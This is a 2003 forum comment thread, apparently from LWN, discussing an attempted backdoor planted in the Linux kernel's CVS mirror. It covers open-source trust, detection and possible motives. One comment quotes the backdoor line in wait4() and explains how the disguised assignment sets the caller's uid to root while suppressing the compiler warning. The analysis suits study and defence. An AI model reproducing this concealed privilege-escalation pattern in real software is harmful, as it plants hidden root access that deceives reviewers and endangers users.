One attempt thwarted Posted Nov 6, 2003 19:53 UTC (Thu) by ncm (subscriber, #165) [Link] Anyone who stuck his neck out so far as to do this will not be satisfied with doing it just once. There are many points of vulnerability in the Free Software world. It would probably be much easier to sneak a backdoor into one of the distributions' kernels or network-service daemons, for example, They get much less scrutiny than Linus's kernel. A successful Red Hat, Debian, or FreeBSD backdoor would be (has been?) hardly less damaging.The distinction between a local vulnerability and a remote one is pretty artificial. The distinction made, in remote exploits, between enabling arbitrary code execution as root or as a restricted user becomes moot when a user can easily become root. Since arbitrary code execution as a limited user (e.g. via lpd, sendmail, ftp) is very common, there's little practical difference between a trapdoor that works for local or for remote exploitation. It's way too early to pat ourselves on the back for having fended off this one attack. It wasn't caught by "hundreds of eyeballs", it was caught because of an unusual level of automated scrutiny in one corner of the castle. Furthermore, it was caught because the attacker made a grave and foolish mistake, assuming a particular host was a primary source, and not a frequently-updated copy. We may be sure that other attacks will be more subtle -- perhaps some already have been, and have evaded detection. As the economic significance of Linux and Free Software increase, we can also expect such attacks to multiply. One immediate lesson, already known to a few, that this attack emphasizes is that current CVS servers are inherently insecure. Thus, any machine running a CVS server exposed to untrusted individuals cannot itself be trusted. How many projects compare their public CVS server contents against a trustworthy image? How many projects firewall the server that takes developer updates against access by non-developers?
One attempt thwarted Posted Nov 6, 2003 20:51 UTC (Thu) by proski (subscriber, #104) [Link] We should consider the political significance of free software as well as its economical significance. It's possible that the attack aimed to create bad publicity for Free Software rather than to exploit the backdoor.Collaborative development is specific for free software. We cannot say that similar can happen for non-free software, usually developed behind corporate firewall. That's why this attack could have been used for FUD very effectively, were it to succeed.
One attempt thwarted Posted Nov 6, 2003 23:35 UTC (Thu) by ken_i_m (guest, #4938) [Link] "The distinction between a local vulnerability and a remote one is pretty artificial."I have to disagree with this rather strongly. There is a huge difference between a local user who has access to a console and a remote attacker whose only leverage is the network services offered. To imply that successful remote attacks where the vector is "arbitrary code execution" are "very common" (or easy) simply does not hold water. have a nice day,
One attempt thwarted Posted Nov 7, 2003 0:34 UTC (Fri) by dlang (✭ supporter ✭, #313) [Link] this attack was detected by the 'hundreds of eyeballs' approach, only one eye saw it becouse he was the only one looking for this, but in the 'traditional' closed-source approach that person would not have been looking (to address the point specificly, if there wasn't the need to make the kernel source available via all the different method the scripts would not have been publishing them and could not have identified the issue)the hundreds of eyeballs approach doesn't expect that there will be hundreds, or even dozens of reports of a prticular bug, it means that with enough different people looking at something, each looking at the one particular piece they are interested in, you have complete coverage of the entire codebase.
One attempt thwarted Posted Nov 8, 2003 3:12 UTC (Sat) by lm (guest, #6402) [Link] > this attack was detected by the 'hundreds of eyeballs' approach,> only one eye saw it becouse he was the only one looking for this, > but in the 'traditional' closed-source approach that person would > not have been looking That's nonsense. This attack was detected because BitMover trains their engineers to be paranoid, end of story. There were "hundreds of eyeballs" that could have detected this, why didn't they? Gimme a break. It's pathetic of you to try and turn this into an open/closed argument, it has nothing to do with either. This was detected because we train our engineers to be competent. You can have good engineers in the open source world and good in the closed source world, and I'll remind you it was an open source system which was attacked. As Linus said "it's telling that it was the CVS tree and not the BK tree that somebody tried to corrupt."
One attempt thwarted Posted Nov 13, 2003 2:47 UTC (Thu) by dlang (✭ supporter ✭, #313) [Link] the bitkeeper engineers were one of those hundreds of eyeballs, they happened to detect it first.the only way you will have lots of people reporting the same bug is if they don't read what others have discovered and/or there is a long time period between a bug being discovered and it being announced. the normal situation is one person (or a very small number) discoveringa issue and publicising it for others. even in this case when Larry first posted about this to the L-K list he didn't post 'someone attempted to put a backdoor in the kernel' he posted 'I noticed something strange, can anyone tell me why this happened' and a few posts later he posted the change that was inserted and a few posts after that a few people noticed that it was a backdoor.
An attempt to backdoor the kernel Posted Nov 6, 2003 19:59 UTC (Thu) by ksmathers (guest, #2353) [Link] I've been thinking about this since it was noticed yesterday evening, and it has me somewhat worried. It seems to me to be a very irresponsible thing to do to the kernel -- what could the hacker have possibly been thinking that would justify creating such a big hole in what would have been (if successful) a pretty major hole in almost every Linux distribution within about a year.If the problem had made it as far as the distributions, anyone who found the backdoor could come along later and criticize the Linux development processes, to the terrible detriment of the system and any trust that has developed in the system. What personal use of the backdoor could possibly justify such terrible potential repercussions? Honestly, it just makes me sick to think about it.
An attempt to backdoor the kernel Posted Nov 6, 2003 20:09 UTC (Thu) by allesfresser (subscriber, #216) [Link] Perhaps the cracker in question wasn't after mere personal backdoor access--is it outside the realm of possibility that the code was inserted (or attempted to be inserted) specifically to denigrate the reputation of Free software?I don't think it's a very big stretch to contemplate malicious intent in that regard, especially when people like SCO and company can blather on all day and not get slapped for it.
An attempt to backdoor the kernel Posted Nov 6, 2003 21:00 UTC (Thu) by proski (subscriber, #104) [Link] Political motivation of the attacker is possible, but I don't think this attack was sponsored by a corporation - it's too naive both in code ("=" vs. "==") and in implementation of the attack (attacking a gateway rather than the master repository). We should be prepared to more serious attacks.
An attempt to backdoor the kernel Posted Nov 7, 2003 18:07 UTC (Fri) by minichaz (guest, #630) [Link] Thats silly. It's almost the perfect backdoor. A quick scan of the code concerned and you don't notice anything wrong and if anyone does spot it later it looks like it might be a typo.Hard to spot, subtle, easy to trigger and easily deinable. What more could you want from a backdoor?
An attempt to backdoor the kernel Posted Nov 6, 2003 23:02 UTC (Thu) by tjc (subscriber, #137) [Link] ...is it outside the realm of possibility that the code was inserted (or attempted to be inserted) specifically to denigrate the reputation of Free software?Hmm, I wonder if this particular bit of code would have violated any SCO copyrights if it had remained in the kernel undetected. ;-)
An attempt to backdoor the kernel Posted Nov 7, 2003 0:12 UTC (Fri) by dvrabel (subscriber, #9500) [Link] Maybe the CIA was involved too?Inserting backdoors isn't your standard marketing tactic. Outright lies (SCO style) are however.
An attempt to backdoor the kernel Posted Nov 7, 2003 15:36 UTC (Fri) by allesfresser (subscriber, #216) [Link] Lately we've been dealing with entities that seem pretty willing to use 'non-standard marketing tactics'. Certainly it would be in a few parties' interest to make an exploit in the kernel look like it came from a 'teenage hacker' (the stereotype is de rigeur, of course), and spread more FUD about Linux.There are, of course, plenty of teenagers (and old geezers like myself, for that matter) out there that are mischievous and talented enough to do something like that on their own, but it sure looks conveniently advantageous for certain well-known (perhaps even infamous?) commercial entities...
An attempt to backdoor the kernel Posted Nov 7, 2003 2:45 UTC (Fri) by iabervon (subscriber, #722) [Link] The real risk of contamination from this would be if one of the trustedkernel developers who use the gateway had gotten the changed version, and then submitted the modification to Linus in the middle of their next chunk of work. Linus checks things fairly thoroughly, but a couple of innocuous-looking lines in the midst of a bunch of similar changes would be likely to get through. And when it got found (due, probably, to the exploit showing up in a rootkit), there would be an audit trail that led back as far as the innocent developer, and no further, since the fake changes would have been overwritten with data from the real repository in the next cycle. (Note that, after a cycle and only after a cycle, CVS would not see the change in its repository, and therefore think that it must have been made by the developer and include it in diffs)
An attempt to backdoor the kernel Posted Nov 13, 2003 21:05 UTC (Thu) by proski (subscriber, #104) [Link] Developers who use CVS correctly would not have this problem. "cvs diff" doesn't include changes made by others.
compiler warning? Posted Nov 7, 2003 15:19 UTC (Fri) by mmarkov (guest, #4978) [Link] what about the compiler warning when anattempt to make an assignment inside the if ( ) condition is detected?
compiler warning? Posted Nov 7, 2003 16:58 UTC (Fri) by nix (subscriber, #2304) [Link] That warning is suppressed if the assignment expression is bracketed.The assignment expression in the trojan was bracketed.
An attempt to backdoor the kernel Posted Nov 10, 2003 15:46 UTC (Mon) by gerv (subscriber, #3376) [Link] Here's my simple technical writeup. I posted it on my internal company board. Feel free to send this to anyone (perhaps the slightly less technical, or newbie coders) who is interested in how this exploit works.
All that aside, the inserted code is a very good example of how to add a backdoor in a very subtle manner. It was inserted into the wait4() system call, which is described as follows: "The wait4 function suspends execution of the current process until a child as specified by the pid argument has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function." That's just a fancy way of saying that it's a variation on wait(), a call whereby a program tells the OS "I'm waiting for a particular event to happen; let me know when it does". Any process running on a given machine can call it, and you pass it flags telling it exactly what you are waiting for. The inserted code looks like this: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) What it seems to be doing at first glance, is: "if a particular pair of options are set, and the user is root, then the call is invalid." The two options concerned make no sense when used together, so that seems a fine, if somewhat strangely specific, check to make. In fact, what it actually does is check for the invalid set of flags and, if set, makes the current user root. if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) Note the single equals sign in the second half of the if test; it's a single rather than a double equals, assignment rather than equality. The flaw takes advantage of several features of C and Unix. 1) Short-circuit execution. The If test has two parts; the second is only executed if the first is true. So, unless that particular pair of options is set, none of the rest of the code is executed. Normally, those two options would not normally be set together, as they specify mutually-conflicting wait policies. However, there's nothing in the code which prevents you making such a nonsensical call. 2) In C, the return value of an assignment is the value assigned. This is what allows: 3) C allows assignment within a logical test. So setting current->uid to 0 within the if test is perfectly valid C. This "feature" is the one that often catches people out with code like: if (a = 3) where do_something() executes all the time. 4) The Unix user_id for root is 0, which is logical false.
gcc, the GNU C Compiler, normally warns about constructs like this. It says "assignment used as truth value". However, if the assignment has a (strictly unnecessary) set of brackets around it, as it is in this exploit code, the warning is suppressed. The attacker must have known that. All in all, very clever. Almost enough to make one paranoid... Gerv (C) Gervase Markham 2003
An attempt to backdoor the kernel Posted Nov 13, 2003 9:10 UTC (Thu) by spitzak (guest, #4593) [Link] If the optimizer complained about constant parts of boolean expressions it would still detect this. (foo = 0) is a constant with a value of 0.
An attempt to backdoor the kernel Posted Nov 13, 2003 21:03 UTC (Thu) by proski (subscriber, #104) [Link] It would complain about legitimate code. Like this:
#ifdef HAVE_FOO
int foo_active;
#else
#define foo_active (0)
#endif
if (foo_active && bar_active) {
frobnicate();
}
Possible side-effect: character assassination Posted Nov 14, 2003 15:50 UTC (Fri) by Max.Hyre (subscriber, #1054) [Link] No one's mentioned a lucky circumstance of this attempt: that the perpetrator used David Miller's name. Mr. Miller's efforts and integrity are too well known for this to be seen as anything other than a falsification. (Besides, if he wanted to insert a back door, he's got lots more effective ways to do it. :-) But what if it had been labelled as coming from ``Joe Blow'', some rising coder who'd just been given commit permission in the last month or so? Would he be well-known enough to have his protestations of innocence believed? Even if accepted, would not doubt lurk in the minds of many other developers? Debian developers cryptographically sign every upload. It's a precaution should be more widespread.
|
|||||||||||||